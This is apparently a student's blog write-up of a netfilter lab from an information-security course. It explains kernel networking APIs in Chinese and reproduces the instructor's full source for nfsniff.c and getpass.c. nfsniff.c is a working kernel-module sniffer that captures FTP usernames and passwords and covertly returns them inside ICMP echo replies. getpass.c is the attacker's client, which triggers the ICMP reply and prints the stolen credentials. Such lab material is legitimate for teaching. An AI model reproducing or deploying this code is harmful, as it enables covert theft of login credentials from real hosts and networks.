 6 set ruler
 7 set showmode
 8 set nu
 9 set bg=dark
10 " for stupid make command, cancel tab auto 4 spaces
11 " set tabstop=4
12 " set expandtab
13 set softtabstop=4
14 set shiftwidth=4
15 syntax on
16 "
17 " ====================== common settings =====================

View Code

3 if (strncmp(data, "PASS ", 5) == 0) {},strncmp()函数的意思

int strncmp(const char *str1, const char *str2, size_t n)
比较字符串str1和str2的前n个字符。如果前n字节完全相等,返回值就=0;在前n字节比较过程中,如果出现 i ( i <= n),str1[i] != str2[i],则返回 str1[i] - str2[i];
4 kmalloc()第2个参数 GFP_KERNEL 的意思
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)return;

GFP_KERNEL,内核内存的正常分配,可能睡眠;
  • 使用 GFP_KENRL 意味着 kmalloc 能够使当前进程在少内存的情况下睡眠来等待一页;
  • 一个使用 GFP_KERNEL 来分配内存的函数必须是可重入的,并且不能在原子上下文中运行。当当前进程睡眠,内核采取正确的动作来定位一些空闲内存,或者通过刷新缓存到磁盘或者交换出去一个用户进程的内存;

具体内容请参考:内核中的kmalloc函数详解

5 这个'\0'是占几个字节?

*(username + len) = '\0';

若 *username 为 char * 类型,那么 username[index] = '\0',相当于把第 index 个字节置为 0x00,参考如下测试代码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4
 5 int main() {
 6     char *data = (char *)malloc(sizeof(char)*20);
 7     memset(data, 0x31, 20);
 8     *(data + 10) = '\0';
 9     data[11] = '\0';
10     for (int i = 0; i < 20; i++)
11         printf("(%d)0x%02x ", i, data[i]);
12     printf("\ndata: %s\n", data);
13     free(data);
14     return 0;
15 }
16
17 // 输出
18 (0)0x31 (1)0x31 (2)0x31 (3)0x31 (4)0x31 (5)0x31 (6)0x31 (7)0x31 (8)0x31 (9)0x31 (10)0x00 (11)0x00 (12)0x31 (13)0x31 (14)0x31 (15)0x31 (16)0x31 (17)0x31 (18)0x31 (19)0x31
19 data: 1111111111

View Code

6 如何理解下面的代码?(位于demo:nfsniff.c)

 1 skb->pkt_type = PACKET_OUTGOING; // ?
 2 switch (skb->dev->type) {
 3     case ARPHRD_PPP: break;
 4     case ARPHRD_LOOPBACK:
 5     case ARPHRD_ETHER: {
 6         unsigned char temp_hwaddr[ETH_ALEN];
 7         struct ethhdr *eth = NULL;
 8         // Move the data pointer to point to the link layer header
 9         eth = (struct ethhdr *)eth_hdr(skb);
10         skb->data = (unsigned char*)eth;
11         skb->len += ETH_HLEN; // sizeof(skb->mac.ethernet);
12         memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
13         memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
14         memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
15         break;
16     }
17 }

View Code

6.1 skb->pkt_type = PACKET_OUTGOING; 是什么意思?为何进行这样的设置?skb->dev->type 是什么?

参考文献:socket buffer 结构解析(pkt_type部分)

摘自:http://man7.org/linux/man-pages/man7/packet.7.html
sll_pkttype contains the packet type. Valid types are:1) PACKET_HOST for a packet addressed to the local host;2) PACKET_BROADCAST for a physical-layer broadcast packet;3) PACKET_MULTICAST for a packet sent to a physical-layer multicast address;4) PACKET_OTHERHOST for a packet to some other host that has been caught by a device driver in promiscuous mode;5) PACKET_OUTGOING for a packet originating from the local host that is looped back to a packet socket;
These types make sense only for receiving.

PACKET_OUTGOING,用于从本地主机发出的包,该包被循环回包套接字;(如何理解?为何要进行这样的设置?)
我的理解:
1)因为 watch_in() 钩子注册到 PRE_ROUTING 中,即路由前,所以 watch_in() 接收到的数据包还未经过路由判决。这时候可能来的数据包有几种类型,如上面所提到的:PACKET_HOST(To us),PACKET_BROADCAST(To all),PACKET_MULTICAST(To group),PACKET_OTHERHOST(To someone else),PACKET_OUTGOING(Outgoing of any type),本机要针对不同的包类进行处理,比如:PACKET_OTHERHOST,表示不是发给本机的数据包,那本机就会将其转发出去;
2)因为 watch_in() 在收到特定的ICMP包后,要将数据往回发送,所以将 skb->pkt_type 改为 PACKET_OUTGOING,表示从本地主机发出的包;
3)关于“该包被循环回包套接字”这句话,我也不知道如何理解;是与下面的 ARPHRD_LOOPBACK 所对应吗?
数据包的接口类型 skb->dev->type:
  • ARPHRD_PPP 点对点(例如拨号)
  • ARPHRD_LOOPBACK 环回设备
  • ARPHRD_ETHER 以太网
关于 ARPHRD_LOOPBACK 的理解,参考自:2.7 环回接口
1)传给环回地址(一般是127.0.0.1)的任何数据均作为IP输入。
2)传给广播地址或多播地址的数据报复制一份传给环回接口,然后送到以太网上。这是因为广播传送和多播传送的定义(第12章)包含主机本身。
3)任何传给该主机IP地址的数据均送到环回接口。
看上去用传输层和IP层的方法来处理环回数据似乎效率不高,但它简化了设计,因为环回接口可以被看作是网络层下面的另一个链路层。网络层把一份数据报传送给环回接口,就像传给其他链路层一样,只不过环回接口把它返回到IP的输入队列中。
在图2-4中,另一个隐含的意思是送给主机本身IP地址的IP数据报一般不出现在相应的网络上。例如,在一个以太网上,分组一般不被传出去然后读回来。某些BSD以太网的设备驱动程序的注释说明,许多以太网接口卡不能读回它们自己发送出去的数据。由于一台主机必须处理发送给自己的IP数据报,因此图2-4所示的过程是最为简单的处理办法。
4.4BSD系统定义了变量useloopback,并初始化为1。但是,如果这个变量置为0,以太网驱动程序就会把本地分组送到网络,而不是送到环回接口上。它也许不能工作,这取决于所使用的以太网接口卡和设备驱动程序。
6.2 将skb->data 指针指向 数据链路层,MAC首部;
eth = (struct ethhdr *)eth_hdr(skb);  skb->data = (unsigned char*)eth;
在:<linux/if_ether.h>中:
static inline struct ethhdr *eth_hdr(const struct sk_buff *skb)
{return (struct ethhdr *)skb_mac_header(skb);
}

在:<linux/skbuff.h>中:

static inline unsigned char *skb_mac_header(const struct sk_buff *skb)
{return skb->head + skb->mac_header;
}

skb->len += ETH_HLEN; // sizeof(skb->mac.ethernet);
ETH_HLEN 在 <uapi/linux/if_ether.h> 中定义,值为14,表示以太网帧首部长度为14B:6B(dest_mac) + 6B(src_mac) + 2B(type or length);
skb->len,当前协议数据包的长度,包括data中的缓冲数据和分片中的数据;
6.3 为什么要让 skb->len += ETH_HLEN?从接收的数据包中就包含了 MAC层首部了吗,长度也应该够啊;
因为在watch_in中捕获的sk_buff是在第3层(网络层 / IP层),此时 skb->len 只涉及了第3层的数据包的长度;而在下面调用 dev_queue_xmit(skb) 来发送数据包,是位于第2层(数据链路层 / MAC层),要想发送成功,还必须包含以太网帧的首部(dest_mac_addr + source_mac_addr + type_or_length = 共14B),所以 skb->len 需要加上 ETH_HLEN(14B);
回到目录
7 给主人反馈数据时,icmp reply 的数据中为什么包含的是下面的数据?特别是那个 target_ip,target_port 怎么不包含呢?
/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)memcpy(cp_data + 4, username, 16);
if (password)memcpy(cp_data + 20, password, 16);

包含 target_ip, username, password,仅仅是hacker的要求,也可以包含其他数据;至于 target_port 为什么不包含,因为老师的demo中是对FTP操作,所以target_port都是21(建立TCP连接);而我自己写的代码是从HTTP中提取数据的,所以target_port是80,归根到底还是取决于hacer本身的目的。

8 memcpy 第3个参数都是 16,是为了满足某种规则吗,比如:字节对齐;但是根据上面获取 USER 的代码显示,username的长度可能小于16;那这时候使用 memcpy 不就非法访问了吗?(memcpy() 函数有没有考虑到这种情况的发生?)

第3个参数是16只是对应了hacker端的getpass.c代码,getpass.c 代码中发送的 ICMP ECHO 数据包的数据部分就是:4 + 16 + 16,而在回送回答报文中会返回一模一样的数据部分(即:4 + 16 + 16);
hacker 默认了username 和 password 不会超过16B,所以设置为16;若其可能超过16B,当然也可以设置为其他值,但最好是2的倍数,方便对齐之类的;username的长度确实可能小于16,此时执行 memcpy(cp_data+4, username, 16);并不会出错;我已经测试过了;对于 username 中不够拷贝的部分(16 - strlen(username)),cp_data中保留原值;

测试代码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4
 5 int main() {
 6     int i = 0;
 7     const char *username = "lichaoxi";
 8     char *cp_data = (char *)malloc(sizeof(char)*20);
 9     memset(cp_data, 0x00, 20);
10     memcpy(cp_data, username, 16);
11     for (; i < 20; i++)
12         printf("(%d)0x%02x ", i, cp_data[i]);
13     printf("\n");
14     return 0;
15 }
16
17 // 输出
18 (0)0x6c (1)0x69 (2)0x63 (3)0x68 (4)0x61 (5)0x6f (6)0x78 (7)0x69 (8)0x00 (9)0x28 (10)0x25 (11)0x64 (12)0x29 (13)0x30 (14)0x78 (15)0x25 (16)0x00 (17)0x00 (18)0x00 (19)0x00

View Code

9 如何把这些数据传递给主人呢?(内部是如何实现的?)

宏观上的过程如下:

1)watch_in() 捕获到一个数据包,检测是否为特定的ICMP_ECHO数据包(icmp->code = 0x77),若不是的话直接返回 NF_ACCEPT 放行;
2)若为特定ICMP_ECHO数据包,则将数据包的 源IP 和 目的IP 互换;(因为我们要把包发回去)
3)自行封装 数据链路层首部:

  • 设置 skb->pkt_type = PACKET_OUTGOING;
  • 对于 skb->dev->type 为 ARPHRD_LOOPBACK,ARPHRD_ETHER 的包,交换 源MAC 和 目的MAC地址;并且将 skb->data 指向MAC层的首部,skb->len += ETH_HLEN;

4)将hacker端需要的数据(target_ip,username,password)填充到 icmp echo 回送回答报文的数据部分;
5)调用 dev_queue_xmit(skb) 方法来发送该数据包;(该数据包,我们已经构造到了第2层(数据链路层)的级别)
6)返回 NF_STOLEN,告诉协议栈不用关心原始的包,原始包的处理已由 watch_in 这个 hook func 来接手了;
10 dev_queue_xmit(skb);的意思是什么?(位于demo:nfsniff.c)

Ⅰ 摘自:翻译:Hacking the Linux Kernel Netwrok Stack(1)
1)dev_queue_xmit() 函数接受一个指向 sk_buff 结构的指针,因为它是唯一的参数,并在一个”很好的“失败时返回一个负的errno代码。”好“失败是什么意思?好吧,如果你给dev_queue_xmit() 一个构造错误的套接字缓冲区,那么你将得到一个不那么好的失败。一个完成内核故障和内核堆栈转储信息。
2)看看故障如何分成两组?最后,watch_in() 返回 NF_STOLEN 告诉Netfilter忘记它曾经看到过这个数据包(Jedi Mind Trick的位)。如果你调用了 dev_queue_xmit(),请不要返回 NF_DROP!如果你这样做,你将很快得到一个讨厌的内核错误。这是因为dev_queue_xmit() 将释放传入的套接字缓冲区,Netfilter 将尝试对 NF_DROPped 数据包执行相同操作。
Ⅱ 摘自:linux驱动问题讲解--dev_queue_xmit
1)dev_queue_xmit 是与网络设备无关层调用的函数,调用对象调用该函数之后,函数会判断skb中的dev字段,根据这个字段指示的设备调用该设备的发送函数hard_start_xmit来对skb进行转发;
2)上层在需要发送skb的时候会选择调用dev_queue_xmit,那么至于下层是怎么传递该skb的,上层根本就不用关心,这就是所谓的各层的独立性原理。所以对skb具体的发送处理过程,可以由下层网络接口的hard_queue_xmit来处理。比如说上层需要发送一个广播帧,那么它就将skb->pkt_type赋值为PACKET_BROADCAST,然后调用dev_queue_xmit将其发送出去之后就不管下层是否将这个广播帧真的放到网络中进行广播。
Ⅲ 摘自(重点):Linux内核构造数据包并发送(二)(dev_queue_xmit方式)
1)linux内核太构造数据包的第二种方式就是直接调用dev_queue_xmit函数,将构造完毕的数据包直接发送到网卡驱动。从NF框架来看,该函数的调用是在 POSTROUTING点之后了,也可以理解为直接通过调用二层的发送函数,将三层构造的数据包发送出去。该函数实际上会调用 skb->dev->hard_start_xmit,即对应网卡的驱动函数,将数据包直接发送的出去。
2)很显然,这个工作在二层的函数,发送数据包(数据包在二层的时候准确叫法应该是帧,我们这里是在三层直接调用的,权且还称作数据包)的方式是不需要再查路由了。
3) 但是,二层发送的时候是需要根据目的MAC来进行的。在第一种方法构造的数据包中,仅仅交换了IP地址,而没有对MAC做任何修改。这样直接调用 dev_queue_xmit是会产生问题的,并且该函数发送的内容应该是从二层头部开始,到数据包的结束。因此,如果三层构造的数据包,想调用该函数直接发送数据包的话,则需要修改数据包的源和目的MAC,并将skb->data指针指向MAC头部,以及skb->len的值也要加上头部的长度方法。(因为:skb->data 指向的是要发送的分组数据的起始位置)
4)构造的数据包发送完毕之后,对于hook函数的返回值问题。
  • a)第一种发送数据包的实现,对于send_reset函数的实现中,由于单独申请了nskb的内存,并构造的新的数据包。新数据包接着走NF的流程了。而对于原始的skb,就通过模块的返回值return NF_DROP做出了处理。
  • b)第二种发送数据包的实现,若是基于已有数据包的基础上重新构造的数据包,那么实际上原始数据包的内容已经不复存在,而且调用完毕 dev_queue_xmit已将同一块缓冲区,只是填充了新数据的数据包发送出去,因此,这里已经没有原始数据包的存在了,需要返回 NF_STOLEN,告诉协议栈不用关心原始的包即可。否则,若是新数据包是单独申请的内存,那么对于原数据包还应该是返回NF_DROP。

11 init_module() 中 pre_hook,post_hook 的各个参数的意义;

NF_IP_PRI_FIRST 在 <linux/netfilter_ipv4.h> 中定义;
NF_INET_PRE_ROUTING 在 <uapi/linux/netfilter.h> 中定义;

 1 int init_module() {
 2    pre_hook.hook     = watch_in;               // hook function
 3    pre_hook.pf       = PF_INET;                // 协议簇 PF_INET
 4    pre_hook.priority = NF_IP_PRI_FIRST;        // hook 优先级,钩子按升序优先级排序,NF_IP_PRI_FIRST 表示最先处理
 5    pre_hook.hooknum  = NF_INET_PRE_ROUTING;    // 所作用的hook点,路由前的Hook点
 6
 7    post_hook.hook     = watch_out;
 8    post_hook.pf       = PF_INET;
 9    post_hook.priority = NF_IP_PRI_FIRST;
10    post_hook.hooknum  = NF_INET_POST_ROUTING;  // 路由后的Hook点
11
12    nf_register_net_hook(&init_net, &pre_hook);
13    nf_register_net_hook(&init_net, &post_hook);
14
15    return 0;
16 }

View Code

12 为什么计算校验和长度是42???(位于demo:getpass.c)

icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

注意:老师给的代码 getpass.c 也不一定就是正确的;

TCP/IP 协议族 第4版 9.2.3 查询,上面提到:可选数据,由请求报文发送,被回答报文重复;
结合 nfsniff.c 和 getpass.c 的代码,发现受害者主机中返回的 ICMP 回送报文会包含下面的数据:target_ip + username + password,对应的字节数是:4B + 16B + 16B;
为了让回送回答报文中包含这些数据,回送请求报文的数据部分就需要包含相同的内容(字节数):tartget_ip(4B) + username(16B) + password(16B) = 36B;计算校验和的时候再加上 ICMP_ECHO头部(8B),结果为44B;

回到目录

六 参考资料

虽然在文章中我已经在相关位置贴了不少参考链接,最后还是汇总起来贴一遍吧(可能有部分遗漏)。
  • Linux makefile 教程 非常详细,且易懂:https://blog.csdn.net/liang13664759/article/details/1771246
  • The Linux Kernel Module Programming Guide:http://www.tldp.org/LDP/lkmpg/2.6/html/lkmpg.html
  • 翻译:Hacking the Linux Kernel Netwrok Stack(1):https://zhuanlan.zhihu.com/p/61164326
  • 翻译:Hacking the Linux Kernel Netwrok Stack(2):https://zhuanlan.zhihu.com/p/61272163
  • 信息安全课程12:防火墙(netfilter/iptables):https://zhuanlan.zhihu.com/p/61343421
  • Linux Kernel 学习笔记10:hook函数:https://blog.csdn.net/stone8761/article/details/72821733
  • makefile:4: *** missing separator. Stop:https://stackoverflow.com/questions/16931770/makefile4-missing-separator-stop
  • Linux source code:https://elixir.bootlin.com/linux/v4.18/ident/init_net
  • ip_mac_packet_logger.c:https://gist.github.com/nkapliev/781f10187bf136d9a133e25f4d12d196
  • Netfilter 之 钩子函数注册:http://www.linuxtcpipstack.com/693.html
  • socket buffer 结构解析:http://wiki.dreamrunner.org/public_html/Linux/Networks/sk_buff-structure-analysis.html#sec-3-3
  • Linux:sk_buff完全剖析与理解:http://wiki.dreamrunner.org/public_html/Linux/Networks/sk_buff-structure-analysis.html#sec-3-3
  • struct net网络命名空间:https://blog.51cto.com/weiguozhihui/1584610
  • C语言中void*详解及应用:https://www.cnblogs.com/wuyudong/p/c-void-point.html
  • 内核中的kmalloc函数详解:https://blog.csdn.net/macrossdzh/article/details/5627274
  • man7/packet.7.html:http://man7.org/linux/man-pages/man7/packet.7.html
  • linux驱动问题讲解--dev_queue_xmit:https://blog.csdn.net/yxnyxnyxnyxnyxn/article/details/8658566
  • Linux内核构造数据包并发送(二)(dev_queue_xmit方式):https://cxw06023273.iteye.com/blog/810402
  • 2.7 环回接口:https://www.kancloud.cn/lifei6671/tcp-ip/139864
回到目录

七 老师提供的代码

为了避免小伙伴们在看我上面的问题时缺失上下文环境,我特意把老师提供的源代码贴出来,我就是在这个代码的基础上进行DIY的。特别注意一下:老师实验用的Linux 内核是2.x版本的。
nfsniff.c

  1 #include <linux/module.h>
  2 #include <linux/kernel.h>
  3 #include <linux/skbuff.h>
  4 #include <linux/in.h>
  5 #include <linux/ip.h>
  6 #include <linux/tcp.h>
  7 #include <linux/icmp.h>
  8 #include <linux/netdevice.h>
  9 #include <linux/netfilter.h>
 10 #include <linux/netfilter_ipv4.h>
 11 #include <linux/if_arp.h>
 12 #include <linux/if_ether.h>
 13 #include <linux/if_packet.h>
 14
 15 #define MAGIC_CODE   0x5B
 16 #define REPLY_SIZE   36
 17
 18 MODULE_LICENSE("GPL");
 19
 20 #define ICMP_PAYLOAD_SIZE  (htons(ip_hdr(sb)->tot_len) \
 21                    - sizeof(struct iphdr) \
 22                    - sizeof(struct icmphdr))
 23
 24 /* THESE values are used to keep the USERname and PASSword until
 25  * they are queried. Only one USER/PASS pair will be held at one
 26  * time and will be cleared once queried. */
 27 static char *username = NULL;
 28 static char *password = NULL;
 29 static int  have_pair = 0;     /* Marks if we already have a pair */
 30
 31 /* Tracking information. Only log USER and PASS commands that go to the
 32  * same IP address and TCP port. */
 33 static unsigned int target_ip = 0;
 34 static unsigned short target_port = 0;
 35
 36 /* Used to describe our Netfilter hooks */
 37 struct nf_hook_ops  pre_hook;           /* Incoming */
 38 struct nf_hook_ops  post_hook;           /* Outgoing */
 39
 40
 41 /* Function that looks at an sk_buff that is known to be an FTP packet.
 42  * Looks for the USER and PASS fields and makes sure they both come from
 43  * the one host as indicated in the target_xxx fields */
 44 static void check_ftp(struct sk_buff *skb) {
 45    struct tcphdr *tcp;
 46    char *data;
 47    int len = 0;
 48    int i = 0;
 49
 50    tcp = (struct tcphdr *)(skb->data + (ip_hdr(skb)->ihl * 4));
 51    data = (char *)((int)tcp + (int)(tcp->doff * 4));
 52
 53    /* Now, if we have a username already, then we have a target_ip.
 54     * Make sure that this packet is destined for the same host. */
 55    if (username)
 56      if (ip_hdr(skb)->daddr != target_ip || tcp->source != target_port)
 57        return;
 58
 59    /* Now try to see if this is a USER or PASS packet */
 60    if (strncmp(data, "USER ", 5) == 0) {          /* Username */
 61       data += 5;
 62
 63       if (username)
 64         return;
 65
 66       // 为啥 i < 15,因为密码长度不会大于15吗?
 67       while (*(data + i) != '\r' && *(data + i) != '\n'
 68              && *(data + i) != '\0' && i < 15) {
 69            len++;
 70            i++;
 71       }
 72
 73       if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
 74             return;
 75       memset(username, 0x00, len + 2);
 76       memcpy(username, data, len);
 77       // '\0'是2个byte?
 78       *(username + len) = '\0';           /* NULL terminate */
 79    } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
 80       data += 5;
 81
 82       /* If a username hasn't been logged yet then don't try logging
 83        * a password */
 84       if (username == NULL) return;
 85       if (password)  return;
 86
 87       while (*(data + i) != '\r' && *(data + i) != '\n'
 88                && *(data + i) != '\0' && i < 15) {
 89            len++;
 90            i++;
 91       }
 92
 93       if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
 94            return;
 95       memset(password, 0x00, len + 2);
 96       memcpy(password, data, len);
 97       *(password + len) = '\0';           /* NULL terminate */
 98    } else if (strncmp(data, "QUIT", 4) == 0) {
 99       /* Quit command received. If we have a username but no password,
100        * clear the username and reset everything */
101       if (have_pair)  return;
102       if (username && !password) {
103            kfree(username);
104            username = NULL;
105            target_port = target_ip = 0;
106            have_pair = 0;
107            return;
108       }
109    } else {
110       return;
111    }
112
113    if (!target_ip)
114      target_ip = ip_hdr(skb)->daddr;
115    if (!target_port)
116      target_port = tcp->source;
117
118    if (username && password)
119      have_pair++;               /* Have a pair. Ignore others until
120                     * this pair has been read. */
121    if (have_pair)
122      printk("Have password pair!  U: %s   P: %s\n", username, password);
123 }
124
125 /* Function called as the POST_ROUTING (last) hook. It will check for
126  * FTP traffic then search that traffic for USER and PASS commands. */
127 static unsigned int watch_out(unsigned int hooknum,
128                   struct sk_buff *skb,
129                   const struct net_device *in,
130                   const struct net_device *out,
131                   int (*okfn)(struct sk_buff *)) {
132    struct sk_buff *sb = skb;
133    struct tcphdr *tcp;
134
135    /* Make sure this is a TCP packet first */
136    if (ip_hdr(sb)->protocol != IPPROTO_TCP)
137      return NF_ACCEPT;               /* Nope, not TCP */
138
139    tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));
140
141    /* Now check to see if it's an FTP packet */
142    if (tcp->dest != htons(21))
143      return NF_ACCEPT;               /* Nope, not FTP */
144
145    /* Parse the FTP packet for relevant information if we don't already
146     * have a username and password pair. */
147    if (!have_pair)
148      check_ftp(sb);
149
150    /* We are finished with the packet, let it go on its way */
151    return NF_ACCEPT;
152 }
153
154
155 /* Procedure that watches incoming ICMP traffic for the "Magic" packet.
156  * When that is received, we tweak the skb structure to send a reply
157  * back to the requesting host and tell Netfilter that we stole the
158  * packet. */
159 static unsigned int watch_in(unsigned int hooknum,
160                  struct sk_buff *skb,
161                  const struct net_device *in,
162                  const struct net_device *out,
163                  int (*okfn)(struct sk_buff *)) {
164    struct sk_buff *sb = skb;
165    struct icmphdr *icmp;
166    char *cp_data;               /* Where we copy data to in reply */
167    unsigned int   taddr;           /* Temporary IP holder */
168
169    /* Do we even have a username/password pair to report yet? */
170    if (!have_pair)
171      return NF_ACCEPT;
172
173    /* Is this an ICMP packet? */
174    if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
175      return NF_ACCEPT;
176
177    icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4);
178
179    /* Is it the MAGIC packet? */
180    if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
181      || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
182       return NF_ACCEPT;
183    }
184
185    /* Okay, matches our checks for "Magicness", now we fiddle with
186     * the sk_buff to insert the IP address, and username/password pair,
187     * swap IP source and destination addresses and ethernet addresses
188     * if necessary and then transmit the packet from here and tell
189     * Netfilter we stole it. Phew... */
190    taddr = ip_hdr(sb)->saddr;
191    ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
192    ip_hdr(sb)->daddr = taddr;
193
194    sb->pkt_type = PACKET_OUTGOING;
195
196    switch (sb->dev->type) {
197     case ARPHRD_PPP:               /* Ntcho iddling needs doing */
198        break;
199     case ARPHRD_LOOPBACK:
200     case ARPHRD_ETHER: {
201          unsigned char t_hwaddr[ETH_ALEN];
202
203          /* Move the data pointer to point to the link layer header */
204          sb->data = (unsigned char *)eth_hdr(sb);
205          sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
206          memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
207          memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source), ETH_ALEN);
208          memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
209           break;
210        }
211    };
212
213    /* Now copy the IP address, then Username, then password into packet */
214    cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
215    memcpy(cp_data, &target_ip, 4);
216    if (username)
217      memcpy(cp_data + 4, username, 16);
218    if (password)
219      memcpy(cp_data + 20, password, 16);
220
221    /* This is where things will die if they are going to.
222     * Fingers crossed... */
223    dev_queue_xmit(sb);
224
225    /* Now free the saved username and password and reset have_pair */
226    kfree(username);
227    kfree(password);
228    username = password = NULL;
229    have_pair = 0;
230
231    target_port = target_ip = 0;
232
233 //   printk("Password retrieved\n");
234
235    return NF_STOLEN;
236 }
237
238 int init_module() {
239    pre_hook.hook     = watch_in;
240    pre_hook.pf       = PF_INET;
241    pre_hook.priority = NF_IP_PRI_FIRST;
242    pre_hook.hooknum  = NF_INET_PRE_ROUTING;
243
244    post_hook.hook     = watch_out;
245    post_hook.pf       = PF_INET;
246    post_hook.priority = NF_IP_PRI_FIRST;
247    post_hook.hooknum  = NF_INET_POST_ROUTING;
248
249    nf_register_hook(&pre_hook);
250    nf_register_hook(&post_hook);
251
252    return 0;
253 }
254
255 void cleanup_module() {
256    nf_unregister_hook(&post_hook);
257    nf_unregister_hook(&pre_hook);
258
259    if (password)
260      kfree(password);
261    if (username)
262      kfree(username);
263 }

View Code

getpass.c

  1 #include <sys/types.h>
  2 #include <stdio.h>
  3 #include <stdlib.h>
  4 #include <unistd.h>
  5 #include <string.h>
  6 #include <errno.h>
  7 #include <sys/socket.h>
  8 #include <netdb.h>
  9 #include <arpa/inet.h>
 10
 11 #ifndef __USE_BSD
 12 # define __USE_BSD               /* We want the proper headers */
 13 #endif
 14 # include <netinet/ip.h>
 15 #include <netinet/ip_icmp.h>
 16
 17 /* Function prototypes */
 18 static unsigned short checksum(int numwords, unsigned short *buff);
 19
 20 int main(int argc, char *argv[]) {
 21     unsigned char dgram[256];           /* Plenty for a PING datagram */
 22     unsigned char recvbuff[256];
 23     struct ip *iphead = (struct ip *)dgram;
 24     struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
 25     struct sockaddr_in src;
 26     struct sockaddr_in addr;
 27     struct in_addr my_addr;
 28     struct in_addr serv_addr;
 29     socklen_t src_addr_size = sizeof(struct sockaddr_in);
 30     int icmp_sock = 0;
 31     int one = 1;
 32     int *ptr_one = &one;
 33
 34     if (argc < 3) {
 35         fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
 36         exit(1);
 37     }
 38
 39     /* Get a socket */
 40     if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
 41         fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno));
 42         exit(1);
 43     }
 44
 45     /* set the HDR_INCL option on the socket */
 46     if (setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
 47        close(icmp_sock);
 48        fprintf(stderr, "Couldn't set HDRINCL option! %s\n", strerror(errno));
 49        exit(1);
 50    }
 51
 52    addr.sin_family = AF_INET;
 53    addr.sin_addr.s_addr = inet_addr(argv[1]);
 54    my_addr.s_addr = inet_addr(argv[2]);
 55
 56    memset(dgram, 0x00, 256);
 57    memset(recvbuff, 0x00, 256);
 58
 59     /* Fill in the IP fields first */
 60    iphead->ip_hl  = 5;
 61    iphead->ip_v   = 4;
 62    iphead->ip_tos = 0;
 63    iphead->ip_len = 84;
 64    iphead->ip_id  = (unsigned short)rand();
 65    iphead->ip_off = 0;
 66    iphead->ip_ttl = 128;
 67    iphead->ip_p   = IPPROTO_ICMP;
 68    iphead->ip_sum = 0;
 69    iphead->ip_src = my_addr;
 70    iphead->ip_dst = addr.sin_addr;
 71
 72     /* Now fill in the ICMP fields */
 73    icmphead->icmp_type = ICMP_ECHO;
 74    icmphead->icmp_code = 0x5B;
 75    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
 76
 77     /* Finally, send the packet */
 78    fprintf(stdout, "Sending request...\n");
 79    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
 80        fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno));
 81        return 0;
 82    }
 83
 84    fprintf(stdout, "Waiting for reply...\n");
 85    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
 86        fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno));
 87        close(icmp_sock);
 88        exit(1);
 89    }
 90
 91    iphead = (struct ip *)recvbuff;
 92    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
 93    memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr));
 94
 95    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
 96    fprintf(stdout, "Username:    %s\n", (char *)((char *)icmphead + 12));
 97    fprintf(stdout, "Password:    %s\n", (char *)((char *)icmphead + 28));
 98
 99    close(icmp_sock);
100    return 0;
101 }
102
103 /* Checksum-generation function. It appears that PING'ed machines don't
104  * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
105  * Fair enough I guess. */
106 static unsigned short checksum(int numwords, unsigned short *buff) {
107  unsigned long sum;
108
109  for(sum = 0;numwords > 0;numwords--)
110      sum += *buff++;   /* add next word, then increment pointer */
111
112  sum = (sum >> 16) + (sum & 0xFFFF);
113  sum += (sum >> 16);
114  return ~sum;
115 }

View Code

转载请说明出处!have a good time ?

转载于:https://www.cnblogs.com/southday/p/11006936.html

科软-信息安全实验2-netfilter实验相关推荐

  1. 科软-信息安全实验3-Rootkit劫持系统调用

    目录 一 前言 二 Talk is cheap, show me the code 三 前期准备 四 效果演示 五 遇到的问题&解决 六 18.04的坑 七 参考资料 八 老师可能的提问 一 ...

  2. 【信息安全-科软课程】Lab2环境变量和Set-UID程序实验

    目录 1.0 前言 2.0 实验任务 2.1任务1:操纵环境变量 2.2任务2:将环境变量从父进程传递给子进程 2.3任务3:环境变量和execve() 2.4 任务4:环境变量和system() 2 ...

  3. 实验结果报告与实验总结_教科版科学四年级上册实验报告

    于茫茫书海中,为你寻找更适合自己成长的有效资源和那些锲入心灵的文字.与高人交心,轻松学习,把时间留给更重要的人更重要的事. 精彩就点击右上角分享出去,赠人玫瑰手染余香. 严正声明本系列教科版四上科学实 ...

  4. 【科软课程-信息安全】Lab7 Format String Vulnerability Lab

